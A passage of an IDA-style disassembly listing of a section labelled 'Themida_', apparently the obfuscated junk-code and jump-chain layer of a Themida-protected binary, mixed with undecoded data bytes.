		dd 2474FFFFh, 0F068E904h, 895DFFFFh, 240C8BC8h,	4C481h
		dd 7CE90000h, 8BFFFF6Dh, 0C481242Ch, 4,	0FFE10AE9h, 0E9F001FFh
		dd 1341h, 15BDA89h, 3FA6E9C2h, 942D0000h, 31A4F167h, 2434FFC1h
		dd 0E2A0E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E0AA:				; CODE XREF: Themida_:00562916j
		push	esi
		mov	esi, 2D765F75h
		add	[esp+8], esi
		pop	esi
		add	[esp+4], esi
		push	edi
		push	eax
		mov	eax, 43871F7Ch
		jmp	loc_5659E7
; ---------------------------------------------------------------------------


loc_56E0C5:				; CODE XREF: Themida_:0056CA0Ej
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	77B4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	5FA9h
		mov	[esp], esi
		mov	esi, 5B7B4105h
		sub	esi, 372051C7h
		inc	esi
		xor	esi, 61230C3Bh
		and	esi, 8281316h
		shl	esi, 3
		sub	esi, 0CB5AFEDCh
		push	edx
		mov	edx, 696E5CACh
		add	esi, edx
		pop	edx
		jmp	loc_572C70
; ---------------------------------------------------------------------------
		db 55h
		dd 0B96FB3BDh, 0C875522h, 31D1F724h, 0C33240Ch,	240C3124h
		dd 0FFED815Dh, 87FFFFFFh, 87D7F7FDh, 0BFBB53FDh, 0E949C316h
		dd 2EAAh, 0F632B753h, 7DCF80DFh, 8071CF80h, 0B252B9E7h
		dd 39AEE9DAh, 0EC810000h, 2, 241C8966h,	0D800D9B3h, 0FF87E7E9h
		dd 4EC83FFh, 0FF4A15E9h, 241C8BFFh, 4C481h, 525A0000h
		dd 39F4E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E196:				; CODE XREF: Themida_:0056AAE8j
		push	edi
		mov	edi, 39144BEBh
		add	edi, 13E00F0Dh
		xor	edi, 37022022h
		and	edi, 4474076Eh
		jmp	loc_56D626
; ---------------------------------------------------------------------------
		db 81h
		dd 0B60384E7h, 4CBE565Fh, 87253357h, 0E9D1F7CEh, 0FFFF767Ah
; ---------------------------------------------------------------------------


loc_56E1C8:				; CODE XREF: Themida_:00576995j
		push	3B1Eh
		mov	[esp], ebx
		mov	ebx, 6CDE43C8h
		mov	esi, ebx
		pop	ebx
		add	esi, 7880438Dh
		sub	esi, eax
		jmp	loc_573664
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4Dh
		dd 5120AD03h, 1564B850h, 710D2C73h, 2D079C59h, 543E4041h
		dd 382FE955h, 8B660000h, 0EC83240Ch, 117E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E20E:				; CODE XREF: Themida_:0056354Ej
		pop	eax
		sub	al, 65h
		jmp	loc_572015
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 0B7B353D3h, 282BB652h, 24148BF3h, 6913E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E22A:				; CODE XREF: Themida_:005769CBj
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edi
		mov	edi, 4
		push	edx
		mov	edx, 7BE00D59h
		add	edx, 1
		push	ebx
		mov	ebx, 35737465h
		jmp	loc_56CE78
; ---------------------------------------------------------------------------


loc_56E255:				; CODE XREF: Themida_:005623DCj
		not	ebx
		jmp	loc_566BCA
; ---------------------------------------------------------------------------
		dd 24E18141h, 81196905h, 0BF0004C1h, 34C2E9F7h,	0E8000000h
		dd 0FFF932E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E275:				; CODE XREF: Themida_:0056A15Aj
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_561042
; ---------------------------------------------------------------------------
		dd 24048B66h, 11CE68h, 24148900h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 8BE92424h, 68FFFFF1h, 6604h, 81242489h, 42404h
		dd 525B0000h, 0FFA84EE9h, 4C783FFh, 8B243C87h, 4292424h
		dd 5FE99C24h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E2E3:				; CODE XREF: Themida_:00562AC7j
		sub	esp, 4
		jmp	loc_571819
; ---------------------------------------------------------------------------
		db 68h
		dd 266h, 0E9240C89h, 3989h, 89242C89h, 4C581E5h, 0E9000000h
		dd 0FFFFE121h, 3DAFBA52h, 0D6316CFDh, 8124148Bh, 4C4h
		dd 1CF75600h, 24348B24h, 0FF518BE9h, 241C89FFh,	0EC83E389h
		dd 242C8904h, 563FBA52h, 814A42B1h, 1F594EEAh, 6E2C127h
		dd 0BB53D2F7h, 7A85BB6h, 7D2FE943h, 0B468FFFFh,	89000057h
		dd 12E9242Ch, 5EFFFF7Fh, 4C481h, 0C6810000h, 4,	6804C683h
		dd 17D1h, 0E9243489h, 0FFFFB39Fh, 967FEB81h, 0DF89D5AAh
		dd 0CACF815Bh, 0E974715Eh, 32D0h, 4C481h, 0BA520000h, 0D3932C8h
		dd 0F281E2D1h, 1A726594h, 148BD101h, 0C557E924h, 0C381FFFFh
		dd 4, 5EABE56h,	0E6C13827h, 7EEC105h, 4886E681h, 0E6812429h
		dd 3F2435E7h, 522BEE81h, 0C681545Fh, 545F522Dh,	4964E9h
		dd 71E95000h, 5B00001Fh, 0D26FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3E6:				; CODE XREF: Themida_:00575000j
		sub	ebx, 6D3304B6h
		pop	edx
		jmp	loc_56415D
; ---------------------------------------------------------------------------


loc_56E3F2:				; CODE XREF: Themida_:0056EB96j
		mov	esi, 2
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], cx
		mov	cl, 2Bh
		add	bl, cl
		mov	cx, [esp]
		jmp	loc_56DBF6
; ---------------------------------------------------------------------------
		db 68h
		dd 5E052B8Ch, 7EDC15Dh,	0E905E5C1h, 0FFFFD5D9h
; ---------------------------------------------------------------------------


loc_56E420:				; CODE XREF: Themida_:0056A190j
		mov	ecx, 2CCD1393h
		jmp	loc_571DD9
; ---------------------------------------------------------------------------
		dw 3166h
		dd 87E9243Ch, 89FFFFE8h, 4C281E2h, 83000000h, 8AE904EAh
		dd 8900002Bh, 9D68242Ch, 5D3A0D34h, 2BAEED81h, 0E8310EA9h
		dd 83242C8Bh, 3BE904C4h, 87FFFFFCh, 248B243Ch, 240C8924h
		dd 4025E9h, 240C8900h, 0E7B55153h, 0C3804EB3h, 0E9EB2893h
		dd 0FFFF2EC0h, 0E9242489h, 25BFh, 81241C8Bh, 4C4h, 4E88300h
		dd 8B240487h, 3C892424h, 0A3E3E924h, 0F581FFFFh, 0CA63F232h
		dd 0E95DE889h, 501Eh
; ---------------------------------------------------------------------------


loc_56E4B0:				; CODE XREF: Themida_:00571E42j
		add	edx, 4771591Ch
		add	edx, 19D12A08h
		jmp	loc_56AB96
; ---------------------------------------------------------------------------


loc_56E4C1:				; CODE XREF: Themida_:005668CEj
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, 78693CDBh
		add	ecx, ebp
		add	ecx, 78693CDBh
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_56713D
; ---------------------------------------------------------------------------


loc_56E4EA:				; CODE XREF: Themida_:0056DC0Bj
		and	edi, 61D25434h
		push	eax
		mov	eax, 9731CBFDh
		add	edi, 3A4143C8h
		add	edi, eax
		sub	edi, 3A4143C8h
		pop	eax
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	1D9Fh
		mov	[esp], ebp
		mov	ebp, esi
		push	ebp
		add	dword ptr [esp], 220D2A19h
		pop	edx
		jmp	loc_5641DD
; ---------------------------------------------------------------------------
		dd 4C481h, 16680000h, 0E9000053h, 0FFFF81C7h
; ---------------------------------------------------------------------------


loc_56E538:				; CODE XREF: Themida_:00563FB5j
		mov	[esp], edx
		jmp	loc_5667DB
; ---------------------------------------------------------------------------
		dd 0FB065805h, 58C1012Ch, 5159CF21h, 0CF2A44B9h, 0E9CF0922h
		dd 0FFFF5431h, 5625302Dh, 592D480Ch, 29890AA9h,	24048BC5h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 6D48ED81h, 0E9295D21h
		dd 81242C8Bh, 4C4h, 23C18100h, 5B43E612h, 2E9C831h, 0ACFFFFE3h
		dd 0FF7350E9h, 61E95DFFh, 87000068h, 665C2404h,	9C243CD3h
		dd 0FF2A91E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E5B1:				; CODE XREF: Themida_:005768EEj
		pop	edx
		add	esp, 4
		jmp	loc_56DC2F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 3Ah
		dd 1F1A5B3h, 0BB535EF2h, 36E952ABh, 6C7FF381h, 0EB810E6Fh
		dd 1D5F373Bh, 5BECE951h, 0D1BFFFFFh, 836B8678h,	0C5E904ECh
		dd 1000002h, 2434FFFAh,	0FFDD91E9h, 4C083FFh, 0E9240487h
		dd 653Eh, 81240C8Bh, 4C4h, 4E0C100h, 8904EC83h,	68243Ch
		dd 8B000000h, 0C481243Ch, 4, 8B97C729h,	0C481243Ch, 4
		dd 0FFAC7AE9h, 4C783FFh, 8B243C87h, 53E92424h, 66000052h
		dd 57240C8Bh, 0FF71ADE9h, 20B966FFh, 66416671h,	0F1816649h
		dd 2966D061h, 665966CBh, 1C8BDF09h, 6AE36824h, 34890000h
		dd 0E7895724h, 4C781h, 80E90000h, 5B000021h, 0E9C701h
		dd 58FFFFE2h, 0FF9549E9h, 2AC781FFh, 503429DCh,	79076857h
		dd 0F75F7E64h, 581FE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E69A:				; CODE XREF: Themida_:0056A80Cj
		or	edx, 19ED7A8Bh
		add	edx, 62C43038h
		neg	edx
		push	ebp
		mov	ebp, 5CD10393h
		jmp	loc_568C4E
; ---------------------------------------------------------------------------
		db 29h
		dd 0C28DE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E6BA:				; CODE XREF: Themida_:0056143Dj
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	19D9h
		mov	[esp], esp
		push	0A26h
		mov	[esp], edx
		mov	edx, 4
		sub	dword ptr [esp+4], 687A7C7Eh
		jmp	loc_5768D6
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9532404h, 0FFFF2D07h
; ---------------------------------------------------------------------------


loc_56E6EC:				; CODE XREF: Themida_:00562DC8j
		sub	ebx, esi
		jmp	loc_5677B2
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BA241489h, 437D4110h, 1DB5CA81h, 814A66EDh,	2F4D41E2h
		dd 0CFF5272h, 24148B24h, 0E904C483h, 6809h
; ---------------------------------------------------------------------------


loc_56E718:				; CODE XREF: Themida_:0057563Cj
		add	edx, 74CC2106h
		push	esi
		mov	esi, 3DBE4A5Ch
		add	edx, esi
		pop	esi
		jmp	loc_5764B8
; ---------------------------------------------------------------------------
		dd 0E9E68956h, 0FFFF978Bh, 0E924148Bh, 0FFFFF3BBh, 5C241487h
		dd 0FF921DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E745:				; CODE XREF: Themida_:0056B36Bj
		not	eax
		xchg	eax, [esp]
		pop	edx
		sub	edx, 46378B99h
		jmp	loc_57658D
; ---------------------------------------------------------------------------
		dw 0C138h
		dd 28E4E99Ch, 348BFFFFh, 67E95624h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E767:				; CODE XREF: Themida_:0056730Fj
		push	dword ptr [esp+4]
		jmp	loc_562837
; ---------------------------------------------------------------------------


loc_56E770:				; CODE XREF: Themida_:00569871j
		xchg	eax, [esp]
		jmp	loc_5725D8
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	7793E924h
		dd 0BD550000h, 34FD7D17h, 0FF9C79E9h, 4C381FFh,	0E9000000h
		dd 0FFFF44FBh, 81DAF742h, 192C16EAh, 0FBEA811Bh, 5524FC74h
		dd 0D452D6BDh, 0E2EA814Eh, 0E977EC52h, 0FFFF93E3h
; ---------------------------------------------------------------------------


loc_56E7C8:				; CODE XREF: Themida_:00569BC9j
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	3C42h
		mov	[esp], ebx
		push	edx
		mov	edx, 65A84139h
		jmp	loc_575641
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 59h
		dd 0E90CC00Ch, 4F7Fh, 81242C8Bh, 4C4h, 241C8B00h, 76E8E950h
		dd 3358FFFFh, 0EBE9242Ch, 0C100006Ch, 0F18108E9h, 5DE2308Bh
		dd 0DA43F181h, 0CA015D50h, 4EA8159h, 33000000h,	14312414h
		dd 24143324h, 2424895Ch, 4BA52h, 54010000h, 8B5A0424h
		dd 0C481241Ch, 4, 0EE95250h, 83FFFFE2h,	2C8704EDh, 4895C24h
		dd 0FEE95724h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E857:				; CODE XREF: Themida_:0057147Bj
		pop	ebx
		push	eax
		mov	eax, 268D726Bh
		jmp	loc_56840F
; ---------------------------------------------------------------------------
aMhx8		db '¬hx8',0
		dd 241C8900h, 0E937B652h, 8C9h,	0E003BF57h, 0C2818CE9h
		dd 2FBA47B1h, 0EA81FA01h, 2FBA47B1h, 0E9D3015Fh, 0FFFF7FD0h
; ---------------------------------------------------------------------------


loc_56E890:				; CODE XREF: Themida_:005614D6j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_56B29F
; ---------------------------------------------------------------------------
		dd 0B8240489h, 56CB7BF2h, 0FFC6B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E8BD:				; CODE XREF: Themida_:0057668Fj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	0FFFFFFFFh
		mov	ebx, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	3276h
		jmp	loc_5696B2
; ---------------------------------------------------------------------------
		dw 0FF5Ch
		dd 34FF2434h, 0C4835924h, 0D4EEE904h, 0B353FFFFh, 50D3F6D4h
		dd 0B151FEB4h, 0EF37E9B3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E902:				; CODE XREF: Themida_:00575A1Aj
		sub	bh, 38h
		sub	al, bh
		pop	ebx
		and	bl, al
		pop	eax
		jmp	loc_56434F
; ---------------------------------------------------------------------------


loc_56E910:				; CODE XREF: Themida_:00567784j
		add	edi, 4
		jmp	loc_5629E1
; ---------------------------------------------------------------------------


loc_56E91B:				; CODE XREF: Themida_:0056B6ABj
		mov	edx, 65163177h
		sub	edx, 65163173h
		add	esi, edx
		jmp	loc_566901
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 4Fh
		dd 54FFFF91h, 5721E959h, 489FFFFh, 801AB424h, 0D4F6C4CCh
		dd 0E9E9E480h, 0FFFFA253h
; ---------------------------------------------------------------------------


loc_56E94C:				; CODE XREF: Themida_:0056691Cj
		mov	eax, 1A112527h
		and	eax, 5BA66A1h
		and	eax, 3174407Bh
		sub	eax, 25BC50D7h
		jmp	loc_570595
; ---------------------------------------------------------------------------
		db 2Ch,	0ABh, 66h
		dd 6824148Bh, 17C2h, 89240C89h,	6D17E9E1h, 0CA880000h
		dd 285B5859h, 0D8005AD0h, 4EC81h, 1C890000h, 0E9F7B324h
		dd 77E9h, 0E95EF221h, 0FFFF4A14h, 829AE952h, 0C381FFFFh
		dd 0D9C5D34Bh, 0FF7E74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E9AD:				; CODE XREF: Themida_:00567EA3j
		push	eax
		jmp	loc_567EA8
; ---------------------------------------------------------------------------


loc_56E9B3:				; CODE XREF: Themida_:005663FCj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56D50F
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 7D966800h, 4890000h, 0E9E08924h, 0FFFF7052h
; ---------------------------------------------------------------------------


loc_56E9D4:				; CODE XREF: Themida_:00567733j
		pop	ecx
		push	ebp
		jmp	loc_570654
; ---------------------------------------------------------------------------


loc_56E9DB:				; CODE XREF: Themida_:0056CF74j
		xor	ebp, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		sub	ebx, 46660FBCh
		sub	ebx, 1BC012C0h
		add	ebx, edx
		add	ebx, 1BC012C0h
		add	ebx, 46660FBCh
		pop	edx
		jmp	loc_572647
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0EE810000h, 8920490h, 90E9F501h, 0BDFFFF52h
		dd 0FF7C1737h, 6B1FE9h,	81494900h, 0FBBDE2E9h, 0B4C38133h
		dd 292A6961h, 0B4EB81CBh, 8B2A6961h, 0C481240Ch, 4, 6ACD68h
		dd 538DE900h, 0E9530000h, 0FFFFD1EBh, 4EC8156h,	89000000h
		dd 4812424h, 424h, 0DDE95E00h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA6F:				; CODE XREF: Themida_:00562879j
		sub	edx, 1CB210F2h
		add	edx, ecx
		jmp	loc_569F87
; ---------------------------------------------------------------------------
		dd 0ABE9EA89h, 29FFFF42h, 814D58C5h, 0F84C55EDh, 0E9EA01C8h
		dd 290Ah
; ---------------------------------------------------------------------------


loc_56EA94:				; CODE XREF: Themida_:0056FB04j
		shl	edi, 2
		push	esi
		mov	esi, 0BFB6718h
		shl	esi, 3
		jmp	loc_572220
; ---------------------------------------------------------------------------


loc_56EAA5:				; CODE XREF: Themida_:0057347Bj
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5714CB
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0E5h
		dd 14B3A13h, 0CDE959C8h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EABB:				; CODE XREF: Themida_:00574699j
		add	esp, 4
		push	esi
		mov	esi, 0A315E7h
		neg	esi
		dec	esi
		shr	esi, 8
		or	esi, 0F9D6FEDh
		jmp	loc_5676B7
; ---------------------------------------------------------------------------
		db 64h,	0FFh, 32h
		dd 0FF2565E9h, 0C057B1FFh, 885207E1h, 0F6EA86CAh, 0C265E9D5h
		dd 4481FFFFh, 6D4E0424h, 34FF6765h, 6366E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EAFE:				; CODE XREF: Themida_:00570D84j
		add	esp, 4
		jmp	loc_562DF7
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2474FF24h, 242C8B04h, 4C481h, 0FAE90000h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EB1B:				; CODE XREF: Themida_:00563A01j
		and	edx, ebx
		pop	ebx
		shl	edx, 1
		push	5DD7h
		mov	[esp], esi
		mov	esi, 1C7F016Eh
		add	edx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56B35A
; ---------------------------------------------------------------------------


loc_56EB3A:				; CODE XREF: Themida_:00568B8Dj
		pop	eax
		jmp	loc_565D96
; ---------------------------------------------------------------------------
		dd 1ABC0566h, 2632D66h,	7C080566h, 30576866h, 240C8966h
		dd 0FFAC7FE9h, 4C281FFh, 68000000h, 6F8Fh, 56243C89h, 4BEh
		dd 55D7E900h, 14330000h, 24143124h, 5C241433h, 8B24048Fh
		dd 0F662424h, 9C2404A3h, 0FF24B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB8D:				; CODE XREF: Themida_:0056F310j
		sub	eax, 34E13427h
		add	ebx, eax
		pop	eax
		push	esi
		jmp	loc_56E3F2
; ---------------------------------------------------------------------------


loc_56EB9B:				; CODE XREF: Themida_:00571E15j
		push	321Ch
		jmp	loc_569E9B
; ---------------------------------------------------------------------------


loc_56EBA5:				; CODE XREF: Themida_:00572E84j
		push	ecx
		push	edx
		jmp	loc_56AE43
; ---------------------------------------------------------------------------


loc_56EBAC:				; CODE XREF: Themida_:005620C3j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	5AF2h
		mov	[esp], edi
		jmp	loc_56B621
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 0E9F98900h, 0FFFF7EF5h
; ---------------------------------------------------------------------------


loc_56EBD8:				; CODE XREF: Themida_:0056423Bj
		and	al, cl
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_56EDD5
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 1B5B7BB8h, 18BCF81h,	0E7D1086Bh, 0FF4C781h, 0FE89E641h
		dd 70BB535Fh, 0C132984Ch, 0CB8107E3h, 0A6E4D8Dh, 8904EC83h
		dd 5ABE2434h, 294E4146h, 0C3815EF3h, 0FFFFFFFFh, 573AC381h
		dd 0F3810930h, 46FE98CFh, 0C15BDE31h, 0F68102E6h, 40B67334h
		dd 5DE9DEF7h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC3F:				; CODE XREF: Themida_:0056129Ej
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_567C0D
; ---------------------------------------------------------------------------


loc_56EC57:				; CODE XREF: Themida_:00576AE9j
		add	eax, esi
		add	eax, 0C6053Fh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56FA9A
; ---------------------------------------------------------------------------
		db 0BAh, 0B9h, 66h
		dd 0D0011608h, 0FFE968E9h, 1BE950FFh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC87:				; CODE XREF: Themida_:00565BB3j
		add	esi, ebp
		pop	ebp
		jmp	loc_564D3B
; ---------------------------------------------------------------------------


loc_56EC8F:				; CODE XREF: Themida_:00564F4Fj
		mov	ebp, 5D1425CDh
		inc	ebp
		sub	ebp, 17442864h
		shr	ebp, 4
		add	ebp, 61F85F67h
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 14AF4C29h
		add	esi, 21874623h
		jmp	loc_5668B7
; ---------------------------------------------------------------------------
		dd 0A56DE95Dh, 8B66FFFFh, 0B168240Ch, 8900002Eh, 0EC81242Ch
		dd 4, 0FFF7ABE9h, 7AE95BFFh, 5000027h, 4, 0FF9E1AE9h, 48F54FFh
		dd 4B85024h, 1000000h, 0E9042444h, 0FFFF7F03h, 5124048Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 0A7E95C24h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ED13:				; CODE XREF: Themida_:00561FBBj
		xor	edx, ebx
		xchg	edx, [esp]
		mov	eax, [esp]
		jmp	loc_573D4C
; ---------------------------------------------------------------------------


loc_56ED20:				; CODE XREF: Themida_:00562E0Cj
		mov	edi, 38CA06C6h
		jmp	loc_567705
; ---------------------------------------------------------------------------


loc_56ED2A:				; CODE XREF: Themida_:0056BA75j
		dec	ecx
		jmp	loc_56C362
; ---------------------------------------------------------------------------


loc_56ED30:				; CODE XREF: Themida_:0057504Ej
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_5696E2
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 46B2h, 3E7BED81h, 0EC834A5Bh, 24148904h
		dd 0F548B7BAh, 72FDE908h, 2C87FFFFh, 1CE95C24h,	8FFFFF54h
		dd 0BF572404h, 4, 4247C01h, 2434FF5Fh, 347BE9h,	81E18900h
		dd 4C1h, 4BF5700h, 0E9000000h, 0FFFF369Fh
; ---------------------------------------------------------------------------


loc_56ED9C:				; CODE XREF: Themida_:005615E4j
		add	ebx, edi
		pop	edi
		jmp	loc_561ADE
; ---------------------------------------------------------------------------


loc_56EDA4:				; CODE XREF: Themida_:005627C9j
		pop	eax
		add	esp, 4
		push	30F2h
		mov	[esp], esi
		jmp	loc_56C102
; ---------------------------------------------------------------------------
		dd 0BE56E389h, 240006E9h, 71C68146h, 0C12C8036h, 0E68105EEh
		dd 9DD652Fh, 0FFF137E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EDD5:				; CODE XREF: Themida_:0056EBE1j
		mov	[esp], edx
		push	esp
		jmp	loc_5611C9
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 2C38158h, 56000000h,	0C681E689h, 4, 3C51B850h, 0D2D7EF4h
		dd 351C782Dh, 53740161h, 505E8C1h, 0FE77BF93h, 3358C629h
		dd 34312434h, 24343324h, 241C895Ch, 42474FFh, 5B2434FFh
		dd 4C481h, 1DE90000h, 51000007h, 0AA532BB9h, 2FBF577Dh
		dd 317DAA53h, 0CA015FF9h, 0BB535059h, 71165B55h, 5D296FB8h
		dd 8BD83132h, 0C483241Ch, 5CC03504h, 0D5441h, 3575BC6Ah
		dd 149B142Bh, 257ACD2Dh, 0F6EA8163h, 12F9018h, 4EC83C2h
		dd 0BE243489h, 387A548Ah, 6680E9h
		db 0
; ---------------------------------------------------------------------------


loc_56EE7D:				; CODE XREF: Themida_:00566B72j
		sub	edx, 74CC2106h
		jmp	loc_57563A
; ---------------------------------------------------------------------------
		dd 2959CB29h, 9CC381C3h, 8B557D0Fh, 0C4812404h,	4, 0B951CB29h
		dd 774D4908h, 5959CB01h, 31241C33h, 1C33241Ch, 24248B24h
		dd 61B2E9h, 4FDB100h, 0E9C8009Dh, 500Ah
; ---------------------------------------------------------------------------


loc_56EEC4:				; CODE XREF: Themida_:00566D05j
		sub	ebx, 18934098h
		sub	ebx, eax
		add	ebx, 18934098h
		mov	eax, ebx
		pop	ebx
		add	eax, 13B27132h
		add	eax, 430A7CE5h
		dec	eax
		sub	eax, 150FD131h
		jmp	loc_563704
; ---------------------------------------------------------------------------


loc_56EEEA:				; CODE XREF: Themida_:0056FEA5j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56C4E9
; ---------------------------------------------------------------------------


loc_56EEFF:				; CODE XREF: Themida_:0056C1FFj
		mov	esi, 1036080Dh
		add	eax, esi
		pop	esi
		push	ebp
		push	ebx
		mov	ebx, 4DB10DA0h
		jmp	loc_56F512
; ---------------------------------------------------------------------------
		db 52h
		dd 0B951E289h, 4, 0BCE9CA01h, 80FFFF28h, 0B60F8DC3h, 0AA7CE9C0h
		dd 8C68FFFFh, 89000007h, 74B82404h, 355A170Ch, 5A170C70h
		dd 1CE868h, 4B6BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EF4A:				; CODE XREF: Themida_:00562D0Fj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	4C5Ah
		jmp	loc_575CBC
; ---------------------------------------------------------------------------
		db 89h
		dd 0EBB241Ch, 0E95B7120h, 0FFFF4B07h, 0E9C0CEB1h, 98C18004h
		dd 0E9B0EF80h, 0FFFFACF9h, 88BAB652h, 24148BF7h, 4C481h
		dd 0D12C0000h, 0FFA651E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EF91:				; CODE XREF: Themida_:005629E8j
		add	esi, 4
		jmp	loc_572092
; ---------------------------------------------------------------------------
		dd 3B56F781h, 0F7817853h, 830CA789h, 315FF989h,	0D1F75EF1h
		dd 0FF4F20E9h, 1EE181FFh, 0F775C21Bh, 0C1D1F7D1h, 0E98106E1h
		dd 0EFA043F9h, 8B59CD29h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	eax, ebp
		pop	ebp
		xor	ebx, eax
		push	ecx
		push	edx
		push	540503Ah
		mov	edx, [esp]
		add	esp, 4
		not	edx
		xor	edx, 4ED5115Ch
		add	edx, 290C17CDh
		jmp	loc_566CD1
; ---------------------------------------------------------------------------


loc_56F009:				; CODE XREF: Themida_:00566525j
		pop	edi
		xor	ebp, 7BF06584h
		add	ebp, 1C9A408Ah
		mov	edi, ebp
		pop	ebp
		mov	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_576048
; ---------------------------------------------------------------------------
		dw 7401h
		dd 0ACE90424h, 8BFFFF78h, 0EC81242Ch, 4, 0FF8D08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F04D:				; CODE XREF: Themida_:0056717Ej
		pop	esi
		push	dword ptr [esp]
		jmp	loc_56FA3C
; ---------------------------------------------------------------------------


loc_56F056:				; CODE XREF: Themida_:0056FF50j
		add	ecx, ebx
		jmp	loc_5716A5
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 2Fh
		dd 57FFFF67h, 0FFBE60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F069:				; CODE XREF: Themida_:005707D9j
		pop	edi
		add	eax, 4
		jmp	loc_56D3A1
; ---------------------------------------------------------------------------


loc_56F072:				; CODE XREF: Themida_:0056CBE8j
		xor	ebp, 42562BCBh
		sub	edi, ebp
		pop	ebp
		dec	edi
		shr	edi, 7
		not	edi
